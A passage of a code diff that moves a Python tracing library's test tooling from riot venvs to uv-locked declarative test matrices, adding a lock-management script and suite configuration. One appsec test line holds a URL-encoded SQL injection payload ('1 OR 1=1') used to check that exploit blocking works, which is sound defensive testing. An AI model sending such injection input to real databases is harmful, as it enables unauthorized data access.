python_version="", # Not needed for hash-based execution - packages="", # Not needed for hash-based execution - suite_name="", # Will be determined later - command="", + unique_ids = [] + for environment_id in environment_ids: + if environment_id not in seen: + seen.add(environment_id) + unique_ids.append(environment_id) + + if len(unique_ids) < len(environment_ids): + print(f"ℹ️ Deduplicated {len(environment_ids)} ID(s) to {len(unique_ids)} unique ID(s)") + + print(f"📌 Using {len(unique_ids)} unique environment ID(s): {', '.join(unique_ids)}") + + if suite_name is not None: + if suite_name not in suites: + raise ValueError(f"unknown suite: {suite_name}") + candidates = {suite_name: suites[suite_name]} + else: + candidates = suites + + selected_environments = [] + for environment_id in unique_ids: + matches = [] + for candidate_name, candidate_config in candidates.items(): + pattern = candidate_config.get("pattern", candidate_name) + environments = self.get_test_environments( + pattern, + suite_name=candidate_name, + suite_config=candidate_config, ) - ) + matching_environment = next((item for item in environments if item.id == environment_id), None) + if matching_environment is not None: + matches.append(replace(matching_environment, suite=candidate_name)) + + if not matches: + qualifier = f" in suite {suite_name}" if suite_name is not None else "" + raise ValueError(f"unknown environment {environment_id}{qualifier}") + if len(matches) > 1: + choices = ", ".join(environment.suite for environment in matches) + raise ValueError(f"ambiguous environment {environment_id}; use --suite with one of: {choices}") + selected_environments.append(matches[0]) - return selected_venvs + return selected_environments def main(): @@ -825,14 +841,11 @@ Examples: # Show what would be run without executing scripts/run-tests --dry-run - # Pass additional arguments to riot - scripts/run-tests ddtrace/contrib/django/patch.py -- -s + # Reuse a base environment that was already built for this Python version + scripts/run-tests -s --suite contrib::requests --venv requests-py311-requests-latest # Pass additional arguments to pytest - scripts/run-tests ddtrace/contrib/django/patch.py -- -- -vvv -s --tb=short - - # Pass additional arguments to riot (first) and pytest (second) - scripts/run-tests ddtrace/contrib/django/patch.py -- -s -- -vvv -k api --tb=short + scripts/run-tests ddtrace/contrib/django/patch.py -- -vvv -s --tb=short """, ) @@ -844,6 +857,13 @@ Examples: parser.add_argument("--dry-run", action="store_true", help="Show what would be run without executing") + parser.add_argument( + "-s", + "--skip-ddtrace-install", + action="store_true", + help="Reuse the prebuilt ddtrace base environment for the selected Python version", + ) + parser.add_argument( "--all-suites", action="store_true", help="Show all available suites regardless of file changes" ) @@ -856,19 +876,20 @@ Examples: "--venv", action="append", help=( - "Run specific venvs (by hash) without interactive prompts. " - "Can be used multiple times (e.g., --venv hash1 --venv hash2)" + "Run specific environments by ID without interactive prompts. " + "Can be used multiple times (e.g., --venv id1 --venv id2)" ), ) + parser.add_argument("--suite", help="Suite containing the environments selected with --venv.") - # Parse args, but handle -- separator for riot args + # Parse args before the separator and forward everything after it to the test command. if "--" in sys.argv: separator_idx = sys.argv.index("--") script_args = sys.argv[1:separator_idx] - riot_args = sys.argv[separator_idx + 1 :] + test_args = sys.argv[separator_idx + 1 :] else: script_args = sys.argv[1:] - riot_args = [] + test_args = [] args = parser.parse_args(script_args) @@ -877,40 +898,19 @@ Examples: # Special handling for --venv: skip all file discovery but still need suite info for services if args.venv: print("🎯 Using directly specified venvs (skipping file/suite analysis)") - selected_venvs = runner.get_venvs_by_hash_direct(args.venv) - if not selected_venvs: - print(f"❌ No venvs found matching hashes: {', '.join(args.venv)}") - return 1 - - # Get all suites to determine service requirements for selected venvs all_suites = get_suites() - matching_suites = {} - venvs_with_suite = [] - - for venv in selected_venvs: - # Try to find which suite this venv belongs to by pattern matching - for suite_name, suite_config in all_suites.items(): - pattern = suite_config.get("pattern", suite_name) - - try: - venvs_in_suite = runner.get_riot_venvs(pattern, suite_name=suite_name) - if any(v.hash == venv.hash for v in venvs_in_suite): - # Found the suite for this venv - update venv with suite_name and add to suites - venv_with_suite = venv._replace(suite_name=suite_name) - venvs_with_suite.append(venv_with_suite) - - if suite_name not in matching_suites: - matching_suites[suite_name] = suite_config.copy() - matching_suites[suite_name]["matched_files"] = [] - break - except Exception: - continue - - if not matching_suites: - print("⚠️ Could not determine suite information for venvs, running without service management") - matching_suites = {} + try: + environments_with_suite = runner.get_environments_by_id_direct(all_suites, args.venv, args.suite) + except ValueError as error: + print(f"❌ {error}") + return 1 - success = runner.run_tests(venvs_with_suite, matching_suites, riot_args=riot_args, dry_run=args.dry_run) + success = runner.run_tests( + environments_with_suite, + test_args=test_args, + skip_ddtrace_install=args.skip_ddtrace_install, + dry_run=args.dry_run, + ) return 0 if success else 1 # Normal flow: determine which files to check @@ -956,11 +956,15 @@ Examples: runner.output_suites_json(matching_suites) return 0 - # Interactive venv selection - selected_venvs = runner.interactive_venv_selection(matching_suites) + selected_environments = runner.interactive_environment_selection(matching_suites) # Execute tests - success = runner.run_tests(selected_venvs, matching_suites, riot_args=riot_args, dry_run=args.dry_run) + success = runner.run_tests( + selected_environments, + test_args=test_args, + skip_ddtrace_install=args.skip_ddtrace_install, + dry_run=args.dry_run, + ) return 0 if success else 1 diff --git a/scripts/test-env b/scripts/test-env new file mode 100755 index 00000000000..5643abccc7b --- /dev/null +++ b/scripts/test-env @@ -0,0 +1,230 @@ +#!/usr/bin/env scripts/uv-run-script +# -*- mode: python -*- +# /// script +# requires-python = ">=3.9" +# dependencies = [ +# "ruamel.yaml>=0.17.21", +# ] +# /// + +from __future__ import annotations + +import argparse +from collections.abc import Callable +from collections.abc import Mapping +from collections.abc import Sequence +import concurrent.futures +import datetime as dt +from pathlib import Path +import subprocess +import sys +import tempfile + + +PROJECT_ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(PROJECT_ROOT)) + +from tests.suitespec import LOCK_ROOT # noqa: E402 +from tests.suitespec import TestEnvironment # noqa: E402 +from tests.suitespec import expand_declared_matrices # noqa: E402 +from tests.suitespec import get_matrix_defaults # noqa: E402 +from tests.suitespec import get_suites # noqa: E402 +from tests.suitespec import lockfile_path # noqa: E402 + + +COOLDOWN_DAYS = 2 + + +class LockError(RuntimeError): + """Raised when concrete test-environment locks cannot be generated.""" + + +def cooldown_cutoff(now: dt.datetime | None = None) -> str: + current = now or dt.datetime.now(dt.timezone.utc) + if current.tzinfo is None: + raise LockError("cooldown timestamp must be timezone-aware") + cutoff = current.astimezone(dt.timezone.utc) - dt.timedelta(days=COOLDOWN_DAYS) + return cutoff.replace(microsecond=0).isoformat().replace("+00:00", "Z") + + +def _resolve_suites(matrices: Mapping[str, tuple[TestEnvironment, ...]], requested: Sequence[str]) -> tuple[str, ...]: + if not requested: + return tuple(sorted(matrices)) + + resolved = [] + for name in requested: + if name in matrices: + resolved.append(name) + continue + candidates = [suite for suite in matrices if suite.rsplit("::", 1)[-1] == name] + if not candidates: + raise LockError(f"suite has no declarative matrix: {name}") + if len(candidates) > 1: + choices = ", ".join(sorted(candidates)) + raise LockError(f"ambiguous suite {name!r}; choose one of: {choices}") + resolved.append(candidates[0]) + return tuple(dict.fromkeys(resolved)) + + +def select_environments(requested: Sequence[str] = ()) -> tuple[tuple[TestEnvironment, ...], tuple[str, ...]]: + matrices = expand_declared_matrices(get_suites(), get_matrix_defaults(), nightly=False) + selected_suites = _resolve_suites(matrices, requested) + environments = tuple( + environment + for suite in selected_suites + for environment in sorted(matrices[suite], key=lambda item: item.ordinal) + ) + return environments, selected_suites + + +def compile_environment( + environment: TestEnvironment, + *, + exclude_newer: str, + run: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run, +) -> str: + if environment.lockfile is None: + raise LockError(f"environment has no lockfile path: {environment.id}") + if not environment.direct_dependencies: + raise LockError(f"environment has no dependencies: {environment.id}") + + with tempfile.TemporaryDirectory(prefix=f"ddtrace-{environment.id}-") as temporary: + temporary_path = Path(temporary) + requirements = temporary_path / "requirements.in" + output = temporary_path / "requirements.txt" + requirements.write_text("\n".join(sorted(environment.direct_dependencies, key=str.casefold)) + "\n") + command = [ + "uv", + "pip", + "compile", + "--python-version", + environment.python, + "--python-platform", + environment.platform, + "--exclude-newer", + exclude_newer, + "--no-annotate", + "--no-header", + "--no-progress", + "--no-python-downloads", + "--no-sources", + "--output-file", + str(output), + str(requirements), + ] + try: + run(command, cwd=PROJECT_ROOT, check=True, text=True, capture_output=True) + except subprocess.CalledProcessError as error: + details = (error.stderr or error.stdout or "").strip() + suffix = f"\n{details}" if details else "" + raise LockError(f"failed to lock {environment.suite}/{environment.id}{suffix}") from error + return output.read_text() + + +def _write_lock(path: Path, content: str) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile(mode="w", dir=path.parent, delete=False) as temporary: + temporary.write(content) + temporary_path = Path(temporary.name) + temporary_path.replace(path) + + +def _prune_locks(expected: set[Path], selected_suites: Sequence[str]) -> tuple[Path, ...]: + pruned = [] + for suite in selected_suites: + prefix = lockfile_path(suite, "").stem + for path in sorted((PROJECT_ROOT / LOCK_ROOT).glob(f"{prefix}*.txt")): + relative = path.relative_to(PROJECT_ROOT) + if relative not in expected: + path.unlink() + pruned.append(relative) + return tuple(pruned) + + +def generate_locks( + requested: Sequence[str] = (), + *, + jobs: int = 4, + run: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run, +) -> tuple[tuple[Path, ...], tuple[Path, ...]]: + environments, selected_suites = select_environments(requested) + if not environments: + raise LockError("no concrete test environments selected") + + compiled: dict[TestEnvironment, str] = {} + cutoff = cooldown_cutoff() + errors = [] + with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, jobs)) as executor: + futures = { + executor.submit(compile_environment, environment, exclude_newer=cutoff, run=run): environment + for environment in environments + } + for future in concurrent.futures.as_completed(futures): + environment = futures[future] + try: + compiled[environment] = future.result() + except LockError as error: + errors.append(error) + if errors: + raise LockError("\n\n".join(str(error) for error in errors)) + + written = [] + for environment in environments: + assert environment.lockfile is not None + _write_lock(PROJECT_ROOT / environment.lockfile, compiled[environment]) + written.append(environment.lockfile) + return tuple(written), _prune_locks(set(written), selected_suites) + + +def check_locks() -> int: + environments, _ = select_environments() + expected = [environment.lockfile for environment in environments] + if any(path is None for path in expected): + raise LockError("one or more test environments have no lock path") + if len(expected) != len(set(expected)): + raise LockError("multiple test environments map to the same uv lock") + + expected_paths = {path for path in expected if path is not None} + actual_paths = {path.relative_to(PROJECT_ROOT) for path in (PROJECT_ROOT / LOCK_ROOT).glob("*.txt")} + missing = sorted(expected_paths - actual_paths) + obsolete = sorted(actual_paths - expected_paths) + if missing or obsolete: + details = [] + if missing: + details.append("missing uv locks:\n" + "\n".join(f" {path}" for path in missing)) + if obsolete: + details.append("obsolete uv locks:\n" + "\n".join(f" {path}" for path in obsolete)) + raise LockError("\n".join(details)) + return len(actual_paths) + + +def main(argv: Sequence[str] | None = None) -> int: + parser = argparse.ArgumentParser(description="Manage concrete uv locks for test environments.") + subparsers = parser.add_subparsers(dest="command", required=True) + list_parser = subparsers.add_parser("list", help="List concrete environment IDs for selected suites.") + list_parser.add_argument("suites", nargs="+", help="Full or unambiguous short suite names.") + subparsers.add_parser("check", help="Check that declared environments and committed uv locks match.") + lock_parser = subparsers.add_parser("lock", help="Generate and prune concrete test-environment locks.") + lock_parser.add_argument("suites", nargs="*", help="Full or unambiguous short suite names; defaults to all.") + lock_parser.add_argument("--jobs", type=int, default=4, help="Number of concurrent uv resolvers.") + args = parser.parse_args(argv) + + try: + if args.command == "check": + count = check_locks() + print(f"Validated {count} concrete uv locks.") + return 0 + environments, _ = select_environments(args.suites) + if args.command == "list": + for environment in environments: + print(environment.id) + return 0 + written, pruned = generate_locks(args.suites, jobs=args.jobs) + except LockError as error: + parser.error(str(error)) + print(f"Locked {len(written)} concrete environment(s); pruned {len(pruned)} obsolete lock(s).") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/setup.py b/setup.py index 40749a6a119..19ea0c5d41b 100644 --- a/setup.py +++ b/setup.py @@ -502,11 +502,6 @@ def download_artifacts(cls): shutil.rmtree(download_dir) download_dir.mkdir(parents=True, exist_ok=True) - # If the directory is nonempty (beyond the sentinel), assume we're done - non_sentinel = [p for p in download_dir.iterdir() if p.name != ".version"] - if non_sentinel: - return - for arch in cls.available_releases[CURRENT_OS]: if CURRENT_OS == "Linux" and not get_platform().endswith(arch): # We cannot include the dynamic libraries for other architectures here. @@ -529,9 +524,11 @@ def download_artifacts(cls): continue # Skip x64 builds on non-x64 machines arch_dir = download_dir / arch + lib_dir = arch_dir / "lib" - # If the directory for the architecture exists and is nonempty, assume we're done - if arch_dir.is_dir() and any(arch_dir.iterdir()): + # Source checkouts are shared with Linux test containers on macOS. Keep + # each platform's artifact and only skip the suffix needed by this build. + if any((lib_dir / f"lib{cls.name}{suffix}").exists() for suffix in suffixes): continue archive_dir = cls.get_package_name(arch, CURRENT_OS) @@ -584,10 +581,14 @@ def download_file(url, dest): with tarfile.open(filename, mode="r|gz", errorlevel=2) as tar: tar.extractall(members=dynfiles, path=HERE) - Path(HERE / archive_dir).rename(arch_dir) + extracted_dir = Path(HERE / archive_dir) + if arch_dir.exists(): + shutil.copytree(extracted_dir, arch_dir, dirs_exist_ok=True) + shutil.rmtree(extracted_dir) + else: + extracted_dir.rename(arch_dir) # Rename .xxx to lib.xxx so the filename is the same for every OS - lib_dir = arch_dir / "lib" for suffix in suffixes: original_file = lib_dir / "{}{}".format(cls.name, suffix) if original_file.exists(): diff --git a/tests/README.md b/tests/README.md index 0da409355b2..f8462d48b77 100644 --- a/tests/README.md +++ b/tests/README.md @@ -44,6 +44,7 @@ The suite schema is as follows: pattern: # The pattern/environment name (if different from the suite name) paths: # The paths/components that trigger the job services: # The services to start before running the suite, defined in .gitlab/services.yml + matrix: # Python versions, dependencies, and test command for concrete environments ``` For example @@ -63,6 +64,11 @@ suites: - tests/profiling/* services: - redis + matrix: + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + command: pytest {cmdargs} tests/profiling + dependencies: + - pytest-randomly ``` Components do not need to be declared within the same `suitespec.yml` file. They diff --git a/tests/aiguard/suitespec.yml b/tests/aiguard/suitespec.yml index 90a36d08d00..e849698ae7e 100644 --- a/tests/aiguard/suitespec.yml +++ b/tests/aiguard/suitespec.yml @@ -17,6 +17,11 @@ suites: - tests/aiguard/suitespec.yml retry: 2 venvs_per_job: 1 + matrix: + command: pytest {cmdargs} tests/aiguard/api/ + dependencies: + - requests + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] ai_guard_langchain: paths: - '@bootstrap' @@ -30,6 +35,38 @@ suites: services: - testagent venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/aiguard/langchain/ + dependencies: + - pytest-asyncio==0.23.7 + cases: + - python: ['3.9', '3.10', '3.11'] + dependencies: + - langchain==0.1.20 + - langchain-core==0.1.53 + - langchain-openai==0.1.6 + - openai==1.102.0 + axes: + compatibility: + langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op: {} + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - langchain==0.2.17 + - langchain-core==0.2.43 + - langchain-openai==0.1.7 + - openai==1.102.0 + axes: + compatibility: + langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - langchain + - langchain-core + - langchain-openai + - openai + axes: + compatibility: + langchain-latest-langchain-core-latest-langchain-openai-latest-o: {} ai_guard_openai: paths: - '@bootstrap' @@ -42,6 +79,30 @@ suites: services: - testagent venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/aiguard/openai/ + dependencies: + - pytest-asyncio==0.23.7 + cases: + - python: ['3.9', '3.10', '3.11', '3.12'] + dependencies: + - openai==1.3.0 + - httpx<0.28 + axes: + compatibility: + openai-1-3-0-httpx-lt-0-28: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - openai==1.102.0 + axes: + compatibility: + openai-1-102-0: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - openai + axes: + compatibility: + openai-latest: {} ai_guard_anthropic: paths: - '@bootstrap' @@ -54,6 +115,26 @@ suites: services: - testagent venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/aiguard/anthropic/ + dependencies: + - pytest-asyncio==0.23.7 + - pyyaml + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - anthropic==0.28.0 + - httpx~=0.27.0 + axes: + compatibility: + anthropic-0-28-0-httpx-0-27-0: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - anthropic + - httpx<0.28.0 + axes: + compatibility: + anthropic-latest-httpx-lt-0-28-0: {} ai_guard_strands: paths: - '@bootstrap' @@ -65,6 +146,11 @@ suites: - tests/aiguard/suitespec.yml retry: 2 venvs_per_job: 1 + matrix: + command: pytest {cmdargs} tests/aiguard/strands_hooks/ + dependencies: + - strands-agents>=1.29.0 + python: ['3.10', '3.11', '3.12', '3.13', '3.14'] ai_guard_litellm_guardrail: paths: - '@bootstrap' @@ -76,3 +162,20 @@ suites: - tests/aiguard/suitespec.yml retry: 2 venvs_per_job: 2 + matrix: + command: pytest {cmdargs} tests/aiguard/litellm_guardrail/ + dependencies: + - pytest-asyncio + cases: + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - litellm[proxy]==1.78.5 + axes: + compatibility: + litellm-proxy-1-78-5: {} + - python: ['3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - litellm[proxy]==1.82.6 + axes: + compatibility: + litellm-proxy-1-82-6: {} diff --git a/tests/appsec/appsec/test_remoteconfiguration.py b/tests/appsec/appsec/test_remoteconfiguration.py index f0c7f66dd17..100a6fa27f5 100644 --- a/tests/appsec/appsec/test_remoteconfiguration.py +++ b/tests/appsec/appsec/test_remoteconfiguration.py @@ -91,11 +91,11 @@ def test_appsec_product_wires_remote_configuration(): @pytest.mark.xfail( - reason="DD_REMOTE_CONFIGURATION_ENABLED is set to false for all riot venvs, " + reason="DD_REMOTE_CONFIGURATION_ENABLED is set to false for all test environments, " "this is not the default behavior for users" ) def test_rc_enabled_by_default(tracer): - # TODO: remove https://github.com/DataDog/dd-trace-py/blob/1.x/riotfile.py#L100 or refactor this test + # TODO: Enable remote configuration for this suite or refactor this test. result = _set_and_get_appsec_tags(tracer) assert result is None assert asm_config._asm_can_be_enabled diff --git a/tests/appsec/contrib_appsec/test_flask.py b/tests/appsec/contrib_appsec/test_flask.py index 586903d1cc5..5c6c0358aba 100644 --- a/tests/appsec/contrib_appsec/test_flask.py +++ b/tests/appsec/contrib_appsec/test_flask.py @@ -172,7 +172,7 @@ def test_dbapi_exploit_prevention_listener(self): response = app.test_client().get("/rasp/sql_injection/?user_id_1=1%20OR%201%3D1") assert response.status_code == (403 if rasp_enabled else 200) - # Helper unit tests live on Test_Flask so the riot venv ``::Test_Flask`` selector picks them up. + # Helper unit tests live on Test_Flask so the appsec suite collects them. def test_collect_flask_routes_registers_every_method_served(self, _isolated_endpoints): """User methods plus Werkzeug-auto-HEAD and Flask-auto-OPTIONS are all part of the attack surface.""" diff --git a/tests/appsec/iast_packages/test_packages.py b/tests/appsec/iast_packages/test_packages.py index b4818202200..e9e0d2aad77 100644 --- a/tests/appsec/iast_packages/test_packages.py +++ b/tests/appsec/iast_packages/test_packages.py @@ -193,7 +193,7 @@ def _install(python_cmd, package_name, package_version=""): env = {} env.update(os.environ) # CAVEAT: we use subprocess instead of `pip.main(["install", package_fullversion])` due to pip package - # doesn't work correctly with riot environment and python packages path + # doesn't work correctly with the test environment's Python package path proc = subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr, close_fds=True, env=env) proc.wait() diff --git a/tests/appsec/suitespec.yml b/tests/appsec/suitespec.yml index 10bb1bde8b2..a2a19d4da6d 100644 --- a/tests/appsec/suitespec.yml +++ b/tests/appsec/suitespec.yml @@ -29,6 +29,14 @@ suites: pattern: appsec$ retry: 2 snapshot: true + matrix: + command: pytest {cmdargs} tests/appsec/appsec/ + dependencies: + - requests + - docker + env: + DD_CIVISIBILITY_ITR_ENABLED: '0' + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] appsec_iast_default: venvs_per_job: 1 paths: @@ -41,6 +49,36 @@ suites: retry: 2 snapshot: true timeout: 30m + matrix: + command: pytest -v -n auto --dist=worksteal {cmdargs} tests/appsec/iast/ + dependencies: + - requests + - urllib3 + - cryptography + - simplejson + - grpcio + - pytest-asyncio + - protobuf + - pytest-xdist + - pip<25 + env: + BROWSER: 'true' + DD_CIVISIBILITY_ITR_ENABLED: '0' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + PYTHONFAULTHANDLER: '1' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - pycryptodome + axes: + compatibility: + pycryptodome-latest: {} + - python: ['3.14'] + axes: + compatibility: + variant-2: {} appsec_iast_memcheck: env: CI_DEBUG_TRACE: 'true' @@ -55,6 +93,24 @@ suites: - tests/appsec/iast_memcheck/* retry: 2 timeout: 30m + matrix: + command: pytest --memray --stacks=35 {cmdargs} tests/appsec/iast_memcheck/ + dependencies: + - requests + - urllib3 + - cryptography + - pytest-memray + - pytest-asyncio + - pytest-randomly + - psycopg2-binary~=2.9.9 + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_MAX_CONCURRENT_REQUEST: '1000' + DD_IAST_MAX_RANGE_COUNT: '10000' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_TRUNCATION_MAX_VALUE_LENGTH: '10000' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] appsec_iast_native: venvs_per_job: 1 paths: @@ -64,11 +120,35 @@ suites: - '@appsec_iast' - '@remoteconfig' retry: 2 + matrix: + command: cmake -DCMAKE_BUILD_TYPE=Debug -DPYTHON_EXECUTABLE=python -S ddtrace/appsec/_iast/_taint_tracking -B ddtrace/appsec/_iast/_taint_tracking && make -f ddtrace/appsec/_iast/_taint_tracking/tests/Makefile native_tests && ddtrace/appsec/_iast/_taint_tracking/tests/native_tests + dependencies: + - cmake + - pybind11 + - clang + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] iast_aggregated_leak_testing: venvs_per_job: 1 paths: - '@appsec_iast' - 'tests/appsec/iast_aggregated_memcheck/*' + matrix: + command: pytest --no-cov tests/appsec/iast_aggregated_memcheck/test_aggregated_memleaks.py + dependencies: + - anyio + - pydantic + - pydantic-settings + - pytest-asyncio + - requests + env: + DD_IAST_ENABLED: 'true' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec.,scripts.iast. + python: ['3.10', '3.11', '3.12'] appsec_iast_packages: venvs_per_job: 1 paths: @@ -77,6 +157,20 @@ suites: - tests/appsec/app.py - tests/appsec/appsec_utils.py timeout: 50m + matrix: + command: pytest -n auto --dist=worksteal {cmdargs} -vvv -rxf tests/appsec/iast_packages/ + dependencies: + - requests + - flask + - pip==26.2.1 + - pytest-xdist + - psutil==7.1.3 + env: + DD_IAST_DEDUPLICATE_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + PYTHONDONTWRITEBYTECODE: '1' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec + python: ['3.11', '3.12', '3.13', '3.14'] iast_tdd_propagation: venvs_per_job: 1 paths: @@ -90,6 +184,24 @@ suites: - tests/appsec/appsec_utils.py retry: 2 snapshot: true + matrix: + command: pytest {cmdargs} tests/appsec/iast_tdd_propagation/ + dependencies: + - requests + - flask + - cryptography + - sqlalchemy~=2.0.23 + - pony + - aiosqlite + - tortoise-orm + - peewee + - psutil==7.1.3 + env: + DD_IAST_DEDUPLICATE_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] appsec_integrations_pygoat: parallelism: 3 paths: @@ -103,6 +215,23 @@ suites: - tests/snapshots/tests.appsec.* retry: 2 snapshot: true + matrix: + command: bash tests/appsec/integrations/pygoat_tests/run_pygoat.sh tests/appsec/integrations/pygoat_tests/ + dependencies: + - requests + - pyyaml==6.0.1 + - pip<25 + env: + DD_CIVISIBILITY_ITR_ENABLED: 'false' + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_ENABLED: 'true' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100' + DD_REMOTE_CONFIGURATION_ENABLED: 'true' + PYDONTWRITEBYTECODE: '1' + PYTHONUNBUFFERED: '1' + _DD_IAST_DEBUG: 'false' + python: ['3.10', '3.11', '3.12'] appsec_integrations_packages: env: TEST_POSTGRES_HOST: postgres @@ -121,6 +250,28 @@ suites: services: - postgres - mysql + matrix: + command: pytest -v tests/appsec/integrations/packages_tests/ + dependencies: + - gevent + - pytest-xdist + - pytest-asyncio + - requests + - SQLAlchemy + - psycopg2-binary~=2.9.9 + - psycopg + - pymysql + - mysqlclient==2.1.1 + - mysql-connector-python + - MarkupSafe~=2.1.1 + - Werkzeug~=3.0.6 + - babel + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] appsec_integrations_stripe: paths: - '@bootstrap' @@ -129,6 +280,17 @@ suites: - '@appsec' - tests/appsec/integrations/stripe_tests/* retry: 2 + matrix: + command: 'pytest {cmdargs} -v tests/appsec/integrations/stripe_tests/ ' + dependencies: + - vcrpy + python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + axes: + stripe: + stripe-latest: stripe + stripe-11-0: stripe~=11.0 + stripe-12-0: stripe~=12.0 + stripe-13-0: stripe~=13.0 appsec_integrations_langchain: venvs_per_job: 1 paths: @@ -141,6 +303,41 @@ suites: - tests/appsec/iast/* - tests/appsec/integrations/langchain_tests/* retry: 2 + matrix: + command: pytest -vvv {cmdargs} tests/appsec/integrations/langchain_tests/ + dependencies: + - pytest-asyncio + - pytest-randomly + env: + AGENT_VERSION: testagent + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_TRACE_AGENT_URL: http://testagent:9126 + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - langchain~=0.1 + - langchain-experimental~=0.1 + axes: + compatibility: + langchain-0-1-langchain-experimental-0-1: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - langchain~=0.2 + - langchain-community~=0.2 + - langchain-experimental~=0.2 + axes: + compatibility: + langchain-0-2-langchain-community-0-2-langchain-experimental-0-2: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13'] + dependencies: + - langchain~=0.3 + - langchain-community~=0.3 + - langchain-experimental~=0.3 + axes: + compatibility: + langchain-0-3-langchain-community-0-3-langchain-experimental-0-3: {} appsec_integrations_flask: pattern: appsec_integrations_flask$ venvs_per_job: 1 @@ -158,6 +355,42 @@ suites: # test_appsec_flask_telemetry.py asserts on payloads received by the test agent. snapshot: true timeout: 15m + matrix: + command: pytest -vvv {cmdargs} tests/appsec/integrations/flask_tests/test_iast_flask.py tests/appsec/integrations/flask_tests/test_appsec_flask_telemetry.py + dependencies: + - requests + - psycopg2-binary~=2.9.9 + - flask-babel + - sqlalchemy + - pytest-randomly + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.9'] + dependencies: + - flask~=1.1 + - MarkupSafe~=1.1 + - itsdangerous==2.0.1 + - Werkzeug==2.0.3 + axes: + compatibility: + flask-1-1-markupsafe-1-1-itsdangerous-2-0-1-werkzeug-2-0-3: {} + - python: ['3.9', '3.10', '3.11', '3.12', '3.13', '3.14'] + dependencies: + - flask~=2.2 + axes: + compatibility: + flask-2-2: {} + - python: ['3.11', '3.12', '3.13', '3.14'] + dependencies: + - flask~=3.1 + - Werkzeug~=3.1 + axes: + compatibility: + flask-3-1-werkzeug-3-1: {} appsec_integrations_flask_testagent: venvs_per_job: 1 paths: @@ -174,6 +407,37 @@ suites: services: - testagent timeout: 40m + matrix: + command: pytest -vvv {cmdargs} tests/appsec/integrations/flask_tests/ --ignore=tests/appsec/integrations/flask_tests/test_iast_flask.py --ignore=tests/appsec/integrations/flask_tests/test_appsec_flask_telemetry.py + dependencies: + - requests==2.31.0 + - gunicorn + - gevent + - psycopg2-binary~=2.9.9 + - flask-babel + - sqlalchemy + - pytest-randomly + - psutil==7.1.3 + env: + DD_IAST_DEDUPLICATION_ENABLED: 'false' + DD_IAST_REQUEST_SAMPLING: '100' + DD_IAST_VULNERABILITIES_PER_REQUEST: '100000' + DD_TRACE_AGENT_URL: http://testagent:9126 + _DD_IAST_PATCH_MODULES: benchmarks.,tests.appsec. + cases: + - python: ['3.12'] + dependencies: + - flask~=2.2 + axes: + compatibility: + flask-2-2: {} + - python: ['3.13'] + dependencies: + - flask~=3.1 + - Werkzeug~=3.1 + axes: + compatibility: + flask-3-1-werkzeug-3-1: {} appsec_integrations_django: venvs_per_job: 